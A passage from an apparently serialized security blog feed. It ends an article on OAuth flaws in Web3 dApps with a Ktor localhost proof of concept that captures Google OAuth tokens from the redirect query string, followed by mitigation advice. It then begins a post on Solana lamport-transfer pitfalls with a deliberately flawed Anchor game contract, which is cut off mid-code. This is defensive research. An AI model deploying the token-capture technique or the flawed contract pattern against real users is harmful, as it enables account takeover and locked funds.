startWebServer",{"type":19,"tag":168,"props":68281,"children":68282},{"style":212},[68283],{"type":24,"value":13184},{"type":19,"tag":168,"props":68285,"children":68286},{"class":170,"line":1220},[68287,68292,68297,68301,68306],{"type":19,"tag":168,"props":68288,"children":68289},{"style":175},[68290],{"type":24,"value":68291}," embeddedServer",{"type":19,"tag":168,"props":68293,"children":68294},{"style":212},[68295],{"type":24,"value":68296},"(CIO, port ",{"type":19,"tag":168,"props":68298,"children":68299},{"style":399},[68300],{"type":24,"value":486},{"type":19,"tag":168,"props":68302,"children":68303},{"style":192},[68304],{"type":24,"value":68305}," 3000",{"type":19,"tag":168,"props":68307,"children":68308},{"style":212},[68309],{"type":24,"value":12250},{"type":19,"tag":168,"props":68311,"children":68312},{"class":170,"line":1252},[68313,68318],{"type":19,"tag":168,"props":68314,"children":68315},{"style":175},[68316],{"type":24,"value":68317}," routing",{"type":19,"tag":168,"props":68319,"children":68320},{"style":212},[68321],{"type":24,"value":691},{"type":19,"tag":168,"props":68323,"children":68324},{"class":170,"line":1260},[68325,68330,68334,68339],{"type":19,"tag":168,"props":68326,"children":68327},{"style":382},[68328],{"type":24,"value":68329}," get",{"type":19,"tag":168,"props":68331,"children":68332},{"style":212},[68333],{"type":24,"value":500},{"type":19,"tag":168,"props":68335,"children":68336},{"style":181},[68337],{"type":24,"value":68338},"\"{...}\"",{"type":19,"tag":168,"props":68340,"children":68341},{"style":212},[68342],{"type":24,"value":12250},{"type":19,"tag":168,"props":68344,"children":68345},{"class":170,"line":1320},[68346,68351,68356],{"type":19,"tag":168,"props":68347,"children":68348},{"style":212},[68349],{"type":24,"value":68350}," call.",{"type":19,"tag":168,"props":68352,"children":68353},{"style":175},[68354],{"type":24,"value":68355},"respondHtml",{"type":19,"tag":168,"props":68357,"children":68358},{"style":212},[68359],{"type":24,"value":691},{"type":19,"tag":168,"props":68361,"children":68362},{"class":170,"line":6486},[68363,68368],{"type":19,"tag":168,"props":68364,"children":68365},{"style":175},[68366],{"type":24,"value":68367}," head",{"type":19,"tag":168,"props":68369,"children":68370},{"style":212},[68371],{"type":24,"value":691},{"type":19,"tag":168,"props":68373,"children":68374},{"class":170,"line":6504},[68375,68380,68385,68389,68394],{"type":19,"tag":168,"props":68376,"children":68377},{"style":175},[68378],{"type":24,"value":68379}," meta",{"type":19,"tag":168,"props":68381,"children":68382},{"style":212},[68383],{"type":24,"value":68384},"(charset ",{"type":19,"tag":168,"props":68386,"children":68387},{"style":399},[68388],{"type":24,"value":486},{"type":19,"tag":168,"props":68390,"children":68391},{"style":181},[68392],{"type":24,"value":68393}," \"UTF-8\"",{"type":19,"tag":168,"props":68395,"children":68396},{"style":212},[68397],{"type":24,"value":557},{"type":19,"tag":168,"props":68399,"children":68400},{"class":170,"line":6549},[68401,68405,68410,68414,68419,68424,68428,68433],{"type":19,"tag":168,"props":68402,"children":68403},{"style":175},[68404],{"type":24,"value":68379},{"type":19,"tag":168,"props":68406,"children":68407},{"style":212},[68408],{"type":24,"value":68409},"(name ",{"type":19,"tag":168,"props":68411,"children":68412},{"style":399},[68413],{"type":24,"value":486},{"type":19,"tag":168,"props":68415,"children":68416},{"style":181},[68417],{"type":24,"value":68418}," \"viewport\"",{"type":19,"tag":168,"props":68420,"children":68421},{"style":212},[68422],{"type":24,"value":68423},", content ",{"type":19,"tag":168,"props":68425,"children":68426},{"style":399},[68427],{"type":24,"value":486},{"type":19,"tag":168,"props":68429,"children":68430},{"style":181},[68431],{"type":24,"value":68432}," \"width=device-width, initial-scale=1.0\"",{"type":19,"tag":168,"props":68434,"children":68435},{"style":212},[68436],{"type":24,"value":557},{"type":19,"tag":168,"props":68438,"children":68439},{"class":170,"line":6655},[68440,68445,68449,68454],{"type":19,"tag":168,"props":68441,"children":68442},{"style":175},[68443],{"type":24,"value":68444}," title",{"type":19,"tag":168,"props":68446,"children":68447},{"style":212},[68448],{"type":24,"value":500},{"type":19,"tag":168,"props":68450,"children":68451},{"style":181},[68452],{"type":24,"value":68453},"\"OAuth Redirect\"",{"type":19,"tag":168,"props":68455,"children":68456},{"style":212},[68457],{"type":24,"value":557},{"type":19,"tag":168,"props":68459,"children":68460},{"class":170,"line":20965},[68461],{"type":19,"tag":168,"props":68462,"children":68463},{"style":212},[68464],{"type":24,"value":68465}," }\n",{"type":19,"tag":168,"props":68467,"children":68468},{"class":170,"line":21000},[68469,68474],{"type":19,"tag":168,"props":68470,"children":68471},{"style":175},[68472],{"type":24,"value":68473}," body",{"type":19,"tag":168,"props":68475,"children":68476},{"style":212},[68477],{"type":24,"value":691},{"type":19,"tag":168,"props":68479,"children":68480},{"class":170,"line":21008},[68481,68486,68490,68494,68499],{"type":19,"tag":168,"props":68482,"children":68483},{"style":175},[68484],{"type":24,"value":68485}," h1",{"type":19,"tag":168,"props":68487,"children":68488},{"style":212},[68489],{"type":24,"value":7027},{"type":19,"tag":168,"props":68491,"children":68492},{"style":399},[68493],{"type":24,"value":1811},{"type":19,"tag":168,"props":68495,"children":68496},{"style":181},[68497],{"type":24,"value":68498},"\"Google OAuth Redirect\"",{"type":19,"tag":168,"props":68500,"children":68501},{"style":212},[68502],{"type":24,"value":7037},{"type":19,"tag":168,"props":68504,"children":68505},{"class":170,"line":21016},[68506,68511],{"type":19,"tag":168,"props":68507,"children":68508},{"style":175},[68509],{"type":24,"value":68510}," script",{"type":19,"tag":168,"props":68512,"children":68513},{"style":212},[68514],{"type":24,"value":691},{"type":19,"tag":168,"props":68516,"children":68517},{"class":170,"line":21025},[68518,68523],{"type":19,"tag":168,"props":68519,"children":68520},{"style":399},[68521],{"type":24,"value":68522}," +",{"type":19,"tag":168,"props":68524,"children":68525},{"style":181},[68526],{"type":24,"value":68527},"\"document.body.innerText = location.search;\"\n",{"type":19,"tag":168,"props":68529,"children":68530},{"class":170,"line":21067},[68531],{"type":19,"tag":168,"props":68532,"children":68533},{"style":212},[68534],{"type":24,"value":68535}," }\n",{"type":19,"tag":168,"props":68537,"children":68538},{"class":170,"line":21100},[68539],{"type":19,"tag":168,"props":68540,"children":68541},{"style":212},[68542],{"type":24,"value":68465},{"type":19,"tag":168,"props":68544,"children":68545},{"class":170,"line":21108},[68546],{"type":19,"tag":168,"props":68547,"children":68548},{"style":212},[68549],{"type":24,"value":68550}," }\n",{"type":19,"tag":168,"props":68552,"children":68553},{"class":170,"line":21116},[68554],{"type":19,"tag":168,"props":68555,"children":68556},{"style":212},[68557],{"type":24,"value":68558}," }\n",{"type":19,"tag":168,"props":68560,"children":68561},{"class":170,"line":21125},[68562],{"type":19,"tag":168,"props":68563,"children":68564},{"style":212},[68565],{"type":24,"value":56369},{"type":19,"tag":168,"props":68567,"children":68568},{"class":170,"line":21201},[68569,68574,68579,68584,68588,68592],{"type":19,"tag":168,"props":68570,"children":68571},{"style":212},[68572],{"type":24,"value":68573}," }.",{"type":19,"tag":168,"props":68575,"children":68576},{"style":175},[68577],{"type":24,"value":68578},"start",{"type":19,"tag":168,"props":68580,"children":68581},{"style":212},[68582],{"type":24,"value":68583},"(wait ",{"type":19,"tag":168,"props":68585,"children":68586},{"style":399},[68587],{"type":24,"value":486},{"type":19,"tag":168,"props":68589,"children":68590},{"style":382},[68591],{"type":24,"value":9914},{"type":19,"tag":168,"props":68593,"children":68594},{"style":212},[68595],{"type":24,"value":557},{"type":19,"tag":168,"props":68597,"children":68598},{"class":170,"line":21234},[68599],{"type":19,"tag":168,"props":68600,"children":68601},{"style":212},[68602],{"type":24,"value":761},{"type":19,"tag":168,"props":68604,"children":68605},{"class":170,"line":21242},[68606],{"type":19,"tag":168,"props":68607,"children":68608},{"style":212},[68609],{"type":24,"value":1326},{"type":19,"tag":20,"props":68611,"children":68612},{},[68613],{"type":24,"value":68614},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":19,"tag":20,"props":68616,"children":68617},{},[68618],{"type":24,"value":68619},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":19,"tag":7050,"props":68621,"children":68623},{"id":68622},"mitigation-1",[68624],{"type":24,"value":37812},{"type":19,"tag":20,"props":68626,"children":68627},{},[68628,68630,68635],{"type":24,"value":68629},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":19,"tag":27,"props":68631,"children":68633},{"className":68632},[],[68634],{"type":24,"value":67252},{"type":24,"value":68636}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":19,"tag":36,"props":68638,"children":68639},{"id":26402},[68640],{"type":24,"value":16400},{"type":19,"tag":20,"props":68642,"children":68643},{},[68644],{"type":24,"value":68645},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":19,"tag":20,"props":68647,"children":68648},{},[68649],{"type":24,"value":68650},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":19,"tag":232,"props":68652,"children":68653},{},[68654],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":68656},[68657,68664,68669,68672],{"id":67020,"depth":198,"text":67023,"children":68658},[68659,68660,68661,68662,68663],{"id":67031,"depth":415,"text":67034},{"id":67058,"depth":415,"text":67061},{"id":67119,"depth":415,"text":67122},{"id":67176,"depth":415,"text":67179},{"id":67275,"depth":415,"text":67278},{"id":67321,"depth":198,"text":67324,"children":68665},[68666,68667,68668],{"id":67327,"depth":415,"text":67330},{"id":67354,"depth":415,"text":67357},{"id":37809,"depth":415,"text":37812},{"id":67803,"depth":198,"text":67806,"children":68670},[68671],{"id":68622,"depth":415,"text":37812},{"id":26402,"depth":198,"text":16400},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":68677,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":68678,"description":68679,"author":37928,"image":68680,"date":68682,"isFeatured":14,"tags":68683,"onBlogPage":14,"body":68684,"_type":242,"_id":73338,"_source":244,"_file":73339,"_stem":73340,"_extension":247},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":68681,"height":11069,"width":11069},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[259],{"type":16,"children":68685,"toc":73327},[68686,68690,68695,68709,68715,68720,68750,68755,68760,69798,69803,69811,69816,69822,69828,69840,69873,69885,69898,69910,70355,70360,70406,70412,70417,70504,70509,70523,70536,71199,71204,71216,71222,71233,71245,71399,71413,71432,71453,71459,71464,71809,71814,71820,71839,71853,72475,72480,72500,72505,72510,72516,72528,72549,72724,72730,72735,73036,73057,73069,73081,73165,73185,73197,73203,73215,73221,73226,73249,73261,73267,73279,73284,73290,73295,73300,73318,73323],{"type":19,"tag":36,"props":68687,"children":68688},{"id":26485},[68689],{"type":24,"value":26488},{"type":19,"tag":20,"props":68691,"children":68692},{},[68693],{"type":24,"value":68694},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":19,"tag":20,"props":68696,"children":68697},{},[68698,68700,68707],{"type":24,"value":68699},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":19,"tag":269,"props":68701,"children":68704},{"href":68702,"rel":68703},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[273],[68705],{"type":24,"value":68706},"King of the Ether",{"type":24,"value":68708},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":19,"tag":36,"props":68710,"children":68712},{"id":68711},"the-game-king-of-the-sol",[68713],{"type":24,"value":68714},"The Game: King of the SOL",{"type":19,"tag":20,"props":68716,"children":68717},{},[68718],{"type":24,"value":68719},"The game works like this:",{"type":19,"tag":43,"props":68721,"children":68722},{},[68723,68735,68740,68745],{"type":19,"tag":47,"props":68724,"children":68725},{},[68726,68728,68733],{"type":24,"value":68727},"Anyone can become the ",{"type":19,"tag":51,"props":68729,"children":68730},{},[68731],{"type":24,"value":68732},"king",{"type":24,"value":68734}," by bidding at least 2× the previous bid.",{"type":19,"tag":47,"props":68736,"children":68737},{},[68738],{"type":24,"value":68739},"The old king is reimbursed 95% of their bid.",{"type":19,"tag":47,"props":68741,"children":68742},{},[68743],{"type":24,"value":68744},"The remaining 5% goes into a prize pot.",{"type":19,"tag":47,"props":68746,"children":68747},{},[68748],{"type":24,"value":68749},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":19,"tag":20,"props":68751,"children":68752},{},[68753],{"type":24,"value":68754},"Simple, right?",{"type":19,"tag":20,"props":68756,"children":68757},{},[68758],{"type":24,"value":68759},"This is the core logic:",{"type":19,"tag":158,"props":68761,"children":68763},{"className":363,"code":68762,"language":362,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n /// CHECK: old_king gets a 95% refund, so ensure its writable.\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n /// CHECK: any writable account is allowed as a new king.\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n // Check that bid_amount is at least 2x last_bid_amount\n assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n transfer_from_signer(\n &ctx.accounts.payer,\n &ctx.accounts.throne.to_account_info(),\n bid_amount,\n )?;\n\n // Reimburse 95% of the last bid to the old king\n let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n\n // Set new king\n ctx.accounts.throne.king = ctx.accounts.new_king.key();\n ctx.accounts.throne.last_bid_amount = bid_amount;\n ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n Ok(())\n }\n}\n",[68764],{"type":19,"tag":27,"props":68765,"children":68766},{"__ignoreMap":7},[68767,68782,68810,68825,68866,68873,68881,68932,68963,68970,68978,68993,69025,69032,69047,69078,69085,69092,69100,69117,69191,69199,69260,69272,69300,69340,69352,69368,69375,69383,69457,69469,69508,69536,69548,69563,69570,69578,69648,69692,69766,69773,69784,69791],{"type":19,"tag":168,"props":68768,"children":68769},{"class":170,"line":171},[68770,68774,68778],{"type":19,"tag":168,"props":68771,"children":68772},{"style":212},[68773],{"type":24,"value":20293},{"type":19,"tag":168,"props":68775,"children":68776},{"style":825},[68777],{"type":24,"value":20298},{"type":19,"tag":168,"props":68779,"children":68780},{"style":212},[68781],{"type":24,"value":17713},{"type":19,"tag":168,"props":68783,"children":68784},{"class":170,"line":198},[68785,68789,68793,68798,68802,68806],{"type":19,"tag":168,"props":68786,"children":68787},{"style":382},[68788],{"type":24,"value":11136},{"type":19,"tag":168,"props":68790,"children":68791},{"style":382},[68792],{"type":24,"value":18606},{"type":19,"tag":168,"props":68794,"children":68795},{"style":825},[68796],{"type":24,"value":68797}," ChangeKing",{"type":19,"tag":168,"props":68799,"children":68800},{"style":212},[68801],{"type":24,"value":20378},{"type":19,"tag":168,"props":68803,"children":68804},{"style":825},[68805],{"type":24,"value":20383},{"type":19,"tag":168,"props":68807,"children":68808},{"style":212},[68809],{"type":24,"value":4717},{"type":19,"tag":168,"props":68811,"children":68812},{"class":170,"line":415},[68813,68817,68821],{"type":19,"tag":168,"props":68814,"children":68815},{"style":212},[68816],{"type":24,"value":20585},{"type":19,"tag":168,"props":68818,"children":68819},{"style":382},[68820],{"type":24,"value":1142},{"type":19,"tag":168,"props":68822,"children":68823},{"style":212},[68824],{"type":24,"value":17713},{"type":19,"tag":168,"props":68826,"children":68827},{"class":170,"line":450},[68828,68832,68837,68841,68845,68849,68853,68857,68862],{"type":19,"tag":168,"props":68829,"children":68830},{"style":382},[68831],{"type":24,"value":18298},{"type":19,"tag":168,"props":68833,"children":68834},{"style":393},[68835],{"type":24,"value":68836}," throne",{"type":19,"tag":168,"props":68838,"children":68839},{"style":399},[68840],{"type":24,"value":1922},{"type":19,"tag":168,"props":68842,"children":68843},{"style":825},[68844],{"type":24,"value":20550},{"type":19,"tag":168,"props":68846,"children":68847},{"style":212},[68848],{"type":24,"value":20378},{"type":19,"tag":168,"props":68850,"children":68851},{"style":825},[68852],{"type":24,"value":20383},{"type":19,"tag":168,"props":68854,"children":68855},{"style":212},[68856],{"type":24,"value":471},{"type":19,"tag":168,"props":68858,"children":68859},{"style":825},[68860],{"type":24,"value":68861},"Throne",{"type":19,"tag":168,"props":68863,"children":68864},{"style":212},[68865],{"type":24,"value":3573},{"type":19,"tag":168,"props":68867,"children":68868},{"class":170,"line":560},[68869],{"type":19,"tag":168,"props":68870,"children":68871},{"emptyLinePlaceholder":14},[68872],{"type":24,"value":1093},{"type":19,"tag":168,"props":68874,"children":68875},{"class":170,"line":666},[68876],{"type":19,"tag":168,"props":68877,"children":68878},{"style":373},[68879],{"type":24,"value":68880}," /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":19,"tag":168,"props":68882,"children":68883},{"class":170,"line":694},[68884,68888,68892,68897,68901,68906,68910,68915,68919,68923,68927],{"type":19,"tag":168,"props":68885,"children":68886},{"style":212},[68887],{"type":24,"value":20585},{"type":19,"tag":168,"props":68889,"children":68890},{"style":382},[68891],{"type":24,"value":1142},{"type":19,"tag":168,"props":68893,"children":68894},{"style":212},[68895],{"type":24,"value":68896},", constraint ",{"type":19,"tag":168,"props":68898,"children":68899},{"style":399},[68900],{"type":24,"value":486},{"type":19,"tag":168,"props":68902,"children":68903},{"style":212},[68904],{"type":24,"value":68905}," old_king",{"type":19,"tag":168,"props":68907,"children":68908},{"style":399},[68909],{"type":24,"value":948},{"type":19,"tag":168,"props":68911,"children":68912},{"style":212},[68913],{"type":24,"value":68914},"key() ",{"type":19,"tag":168,"props":68916,"children":68917},{"style":399},[68918],{"type":24,"value":6013},{"type":19,"tag":168,"props":68920,"children":68921},{"style":212},[68922],{"type":24,"value":68836},{"type":19,"tag":168,"props":68924,"children":68925},{"style":399},[68926],{"type":24,"value":948},{"type":19,"tag":168,"props":68928,"children":68929},{"style":212},[68930],{"type":24,"value":68931},"king)]\n",{"type":19,"tag":168,"props":68933,"children":68934},{"class":170,"line":707},[68935,68939,68943,68947,68951,68955,68959],{"type":19,"tag":168,"props":68936,"children":68937},{"style":382},[68938],{"type":24,"value":18298},{"type":19,"tag":168,"props":68940,"children":68941},{"style":393},[68942],{"type":24,"value":68905},{"type":19,"tag":168,"props":68944,"children":68945},{"style":399},[68946],{"type":24,"value":1922},{"type":19,"tag":168,"props":68948,"children":68949},{"style":825},[68950],{"type":24,"value":22866},{"type":19,"tag":168,"props":68952,"children":68953},{"style":212},[68954],{"type":24,"value":20378},{"type":19,"tag":168,"props":68956,"children":68957},{"style":825},[68958],{"type":24,"value":20383},{"type":19,"tag":168,"props":68960,"children":68961},{"style":212},[68962],{"type":24,"value":3573},{"type":19,"tag":168,"props":68964,"children":68965},{"class":170,"line":725},[68966],{"type":19,"tag":168,"props":68967,"children":68968},{"emptyLinePlaceholder":14},[68969],{"type":24,"value":1093},{"type":19,"tag":168,"props":68971,"children":68972},{"class":170,"line":746},[68973],{"type":19,"tag":168,"props":68974,"children":68975},{"style":373},[68976],{"type":24,"value":68977}," /// CHECK: any writable account is allowed as a new king.\n",{"type":19,"tag":168,"props":68979,"children":68980},{"class":170,"line":755},[68981,68985,68989],{"type":19,"tag":168,"props":68982,"children":68983},{"style":212},[68984],{"type":24,"value":20585},{"type":19,"tag":168,"props":68986,"children":68987},{"style":382},[68988],{"type":24,"value":1142},{"type":19,"tag":168,"props":68990,"children":68991},{"style":212},[68992],{"type":24,"value":17713},{"type":19,"tag":168,"props":68994,"children":68995},{"class":170,"line":1008},[68996,69000,69005,69009,69013,69017,69021],{"type":19,"tag":168,"props":68997,"children":68998},{"style":382},[68999],{"type":24,"value":18298},{"type":19,"tag":168,"props":69001,"children":69002},{"style":393},[69003],{"type":24,"value":69004}," new_king",{"type":19,"tag":168,"props":69006,"children":69007},{"style":399},[69008],{"type":24,"value":1922},{"type":19,"tag":168,"props":69010,"children":69011},{"style":825},[69012],{"type":24,"value":22866},{"type":19,"tag":168,"props":69014,"children":69015},{"style":212},[69016],{"type":24,"value":20378},{"type":19,"tag":168,"props":69018,"children":69019},{"style":825},[69020],{"type":24,"value":20383},{"type":19,"tag":168,"props":69022,"children":69023},{"style":212},[69024],{"type":24,"value":3573},{"type":19,"tag":168,"props":69026,"children":69027},{"class":170,"line":1025},[69028],{"type":19,"tag":168,"props":69029,"children":69030},{"emptyLinePlaceholder":14},[69031],{"type":24,"value":1093},{"type":19,"tag":168,"props":69033,"children":69034},{"class":170,"line":1042},[69035,69039,69043],{"type":19,"tag":168,"props":69036,"children":69037},{"style":212},[69038],{"type":24,"value":20585},{"type":19,"tag":168,"props":69040,"children":69041},{"style":382},[69042],{"type":24,"value":1142},{"type":19,"tag":168,"props":69044,"children":69045},{"style":212},[69046],{"type":24,"value":17713},{"type":19,"tag":168,"props":69048,"children":69049},{"class":170,"line":1055},[69050,69054,69058,69062,69066,69070,69074],{"type":19,"tag":168,"props":69051,"children":69052},{"style":382},[69053],{"type":24,"value":18298},{"type":19,"tag":168,"props":69055,"children":69056},{"style":393},[69057],{"type":24,"value":39718},{"type":19,"tag":168,"props":69059,"children":69060},{"style":399},[69061],{"type":24,"value":1922},{"type":19,"tag":168,"props":69063,"children":69064},{"style":825},[69065],{"type":24,"value":20614},{"type":19,"tag":168,"props":69067,"children":69068},{"style":212},[69069],{"type":24,"value":20378},{"type":19,"tag":168,"props":69071,"children":69072},{"style":825},[69073],{"type":24,"value":20383},{"type":19,"tag":168,"props":69075,"children":69076},{"style":212},[69077],{"type":24,"value":3573},{"type":19,"tag":168,"props":69079,"children":69080},{"class":170,"line":1064},[69081],{"type":19,"tag":168,"props":69082,"children":69083},{"style":212},[69084],{"type":24,"value":1326},{"type":19,"tag":168,"props":69086,"children":69087},{"class":170,"line":1087},[69088],{"type":19,"tag":168,"props":69089,"children":69090},{"emptyLinePlaceholder":14},[69091],{"type":24,"value":1093},{"type":19,"tag":168,"props":69093,"children":69094},{"class":170,"line":1096},[69095],{"type":19,"tag":168,"props":69096,"children":69097},{"style":212},[69098],{"type":24,"value":69099},"#[program]\n",{"type":19,"tag":168,"props":69101,"children":69102},{"class":170,"line":1105},[69103,69107,69112],{"type":19,"tag":168,"props":69104,"children":69105},{"style":382},[69106],{"type":24,"value":11136},{"type":19,"tag":168,"props":69108,"children":69109},{"style":382},[69110],{"type":24,"value":69111}," mod",{"type":19,"tag":168,"props":69113,"children":69114},{"style":212},[69115],{"type":24,"value":69116}," king_of_the_sol {\n",{"type":19,"tag":168,"props":69118,"children":69119},{"class":170,"line":1174},[69120,69124,69128,69133,69137,69141,69145,69149,69153,69158,69162,69167,69171,69175,69179,69183,69187],{"type":19,"tag":168,"props":69121,"children":69122},{"style":382},[69123],{"type":24,"value":18298},{"type":19,"tag":168,"props":69125,"children":69126},{"style":382},[69127],{"type":24,"value":11141},{"type":19,"tag":168,"props":69129,"children":69130},{"style":175},[69131],{"type":24,"value":69132}," change_king",{"type":19,"tag":168,"props":69134,"children":69135},{"style":212},[69136],{"type":24,"value":500},{"type":19,"tag":168,"props":69138,"children":69139},{"style":393},[69140],{"type":24,"value":17735},{"type":19,"tag":168,"props":69142,"children":69143},{"style":399},[69144],{"type":24,"value":1922},{"type":19,"tag":168,"props":69146,"children":69147},{"style":825},[69148],{"type":24,"value":17744},{"type":19,"tag":168,"props":69150,"children":69151},{"style":212},[69152],{"type":24,"value":3240},{"type":19,"tag":168,"props":69154,"children":69155},{"style":825},[69156],{"type":24,"value":69157},"ChangeKing",{"type":19,"tag":168,"props":69159,"children":69160},{"style":212},[69161],{"type":24,"value":4066},{"type":19,"tag":168,"props":69163,"children":69164},{"style":393},[69165],{"type":24,"value":69166},"bid_amount",{"type":19,"tag":168,"props":69168,"children":69169},{"style":399},[69170],{"type":24,"value":1922},{"type":19,"tag":168,"props":69172,"children":69173},{"style":825},[69174],{"type":24,"value":3294},{"type":19,"tag":168,"props":69176,"children":69177},{"style":212},[69178],{"type":24,"value":481},{"type":19,"tag":168,"props":69180,"children":69181},{"style":399},[69182],{"type":24,"value":11203},{"type":19,"tag":168,"props":69184,"children":69185},{"style":825},[69186],{"type":24,"value":11208},{"type":19,"tag":168,"props":69188,"children":69189},{"style":212},[69190],{"type":24,"value":17786},{"type":19,"tag":168,"props":69192,"children":69193},{"class":170,"line":1182},[69194],{"type":19,"tag":168,"props":69195,"children":69196},{"style":373},[69197],{"type":24,"value":69198}," // Check that bid_amount is at least 2x last_bid_amount\n",{"type":19,"tag":168,"props":69200,"children":69201},{"class":170,"line":1212},[69202,69206,69210,69214,69218,69222,69226,69230,69234,69239,69243,69248,69252,69256],{"type":19,"tag":168,"props":69203,"children":69204},{"style":175},[69205],{"type":24,"value":61933},{"type":19,"tag":168,"props":69207,"children":69208},{"style":212},[69209],{"type":24,"value":500},{"type":19,"tag":168,"props":69211,"children":69212},{"style":393},[69213],{"type":24,"value":69166},{"type":19,"tag":168,"props":69215,"children":69216},{"style":399},[69217],{"type":24,"value":5739},{"type":19,"tag":168,"props":69219,"children":69220},{"style":393},[69221],{"type":24,"value":23311},{"type":19,"tag":168,"props":69223,"children":69224},{"style":399},[69225],{"type":24,"value":948},{"type":19,"tag":168,"props":69227,"children":69228},{"style":212},[69229],{"type":24,"value":12121},{"type":19,"tag":168,"props":69231,"children":69232},{"style":399},[69233],{"type":24,"value":948},{"type":19,"tag":168,"props":69235,"children":69236},{"style":212},[69237],{"type":24,"value":69238},"throne",{"type":19,"tag":168,"props":69240,"children":69241},{"style":399},[69242],{"type":24,"value":948},{"type":19,"tag":168,"props":69244,"children":69245},{"style":212},[69246],{"type":24,"value":69247},"last_bid_amount ",{"type":19,"tag":168,"props":69249,"children":69250},{"style":399},[69251],{"type":24,"value":2002},{"type":19,"tag":168,"props":69253,"children":69254},{"style":192},[69255],{"type":24,"value":5371},{"type":19,"tag":168,"props":69257,"children":69258},{"style":212},[69259],{"type":24,"value":1249},{"type":19,"tag":168,"props":69261,"children":69262},{"class":170,"line":1220},[69263,69268],{"type":19,"tag":168,"props":69264,"children":69265},{"style":175},[69266],{"type":24,"value":69267}," transfer_from_signer",{"type":19,"tag":168,"props":69269,"children":69270},{"style":212},[69271],{"type":24,"value":870},{"type":19,"tag":168,"props":69273,"children":69274},{"class":170,"line":1252},[69275,69279,69283,69287,69291,69295],{"type":19,"tag":168,"props":69276,"children":69277},{"style":399},[69278],{"type":24,"value":5121},{"type":19,"tag":168,"props":69280,"children":69281},{"style":393},[69282],{"type":24,"value":17735},{"type":19,"tag":168,"props":69284,"children":69285},{"style":399},[69286],{"type":24,"value":948},{"type":19,"tag":168,"props":69288,"children":69289},{"style":212},[69290],{"type":24,"value":12121},{"type":19,"tag":168,"props":69292,"children":69293},{"style":399},[69294],{"type":24,"value":948},{"type":19,"tag":168,"props":69296,"children":69297},{"style":212},[69298],{"type":24,"value":69299},"payer,\n",{"type":19,"tag":168,"props":69301,"children":69302},{"class":170,"line":1260},[69303,69307,69311,69315,69319,69323,69327,69331,69336],{"type":19,"tag":168,"props":69304,"children":69305},{"style":399},[69306],{"type":24,"value":5121},{"type":19,"tag":168,"props":69308,"children":69309},{"style":393},[69310],{"type":24,"value":17735},{"type":19,"tag":168,"props":69312,"children":69313},{"style":399},[69314],{"type":24,"value":948},{"type":19,"tag":168,"props":69316,"children":69317},{"style":212},[69318],{"type":24,"value":12121},{"type":19,"tag":168,"props":69320,"children":69321},{"style":399},[69322],{"type":24,"value":948},{"type":19,"tag":168,"props":69324,"children":69325},{"style":212},[69326],{"type":24,"value":69238},{"type":19,"tag":168,"props":69328,"children":69329},{"style":399},[69330],{"type":24,"value":948},{"type":19,"tag":168,"props":69332,"children":69333},{"style":175},[69334],{"type":24,"value":69335},"to_account_info",{"type":19,"tag":168,"props":69337,"children":69338},{"style":212},[69339],{"type":24,"value":898},{"type":19,"tag":168,"props":69341,"children":69342},{"class":170,"line":1320},[69343,69348],{"type":19,"tag":168,"props":69344,"children":69345},{"style":393},[69346],{"type":24,"value":69347}," bid_amount",{"type":19,"tag":168,"props":69349,"children":69350},{"style":212},[69351],{"type":24,"value":915},{"type":19,"tag":168,"props":69353,"children":69354},{"class":170,"line":6486},[69355,69360,69364],{"type":19,"tag":168,"props":69356,"children":69357},{"style":212},[69358],{"type":24,"value":69359}," 